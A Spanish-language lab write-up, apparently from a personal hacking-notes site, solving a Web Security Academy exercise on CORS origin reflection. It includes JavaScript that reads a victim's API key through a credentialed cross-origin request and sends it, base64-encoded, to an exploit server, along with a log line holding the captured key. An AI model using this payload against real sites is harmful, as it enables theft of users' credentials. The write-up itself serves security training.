> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-basic-origin-reflection.md).

# Reflexión básica del origen en CORS

### Vulnerabilidad de CORS con reflexión básica del origen

Usando una configuración de CORS demasiado permisiva (el servidor confía en cualquier origen) para recuperar la clave API del administrador mediante una solicitud de origen cruzado con `credenciales` y enviar la respuesta a nuestro servidor de explotación. El ejercicio se resuelve cuando la clave API del administrador se envía al servidor de explotación.

<figure><img src="/files/ce603a38b6bc0551bd89b0f0294fef3fec9075ff" alt=""><figcaption></figcaption></figure>

* Credenciales proporcionadas para conectarse: `wiener:peter`.
* El código del lado de la página recupera la clave API de `/accountDetails` y muestra:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/233e9651030e44f281fce46d8df89821aaa69c45" alt=""><figcaption></figcaption></figure>

Los encabezados indican `Access-Control-Allow-Credentials: true` (el servidor acepta solicitudes con cookies/credenciales).

<figure><img src="/files/897d3892bc17deae5d7660b0c8aa667c13946e75" alt=""><figcaption></figcaption></figure>

* Al probar una solicitud con el `Origin: jord4n.pro` encabezado, se devuelve la respuesta (el origen reflejado es aceptado).

```javascript
Origin: jord4n.pro
```

* El servidor refleja/permite el origen enviado, por lo que una página controlada por el atacante puede realizar una `XMLHttpRequest` o `fetch` a `/accountDetails` incluyendo las cookies de la víctima (`withCredentials = true`) y recuperar la respuesta JSON que contiene la clave API.

<figure><img src="/files/1ea6c773f5728b696a45616a9e3c5d4569c2b25c" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/8b7898170c7135610295d0929259deaad75d532a" alt="" width="483"><figcaption></figcaption></figure>

Una vez leída la respuesta, puede transmitirse al servidor (por ejemplo, codificándola en base64) para su extracción.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/fe95a5b0c1c22f58b7303fa4d2fb456205d8a3c3" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

El servidor en funcionamiento recibió una solicitud GET que contenía la respuesta codificada, por ejemplo:

<figure><img src="/files/5b065698967238a603874a61de942a305e11966e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
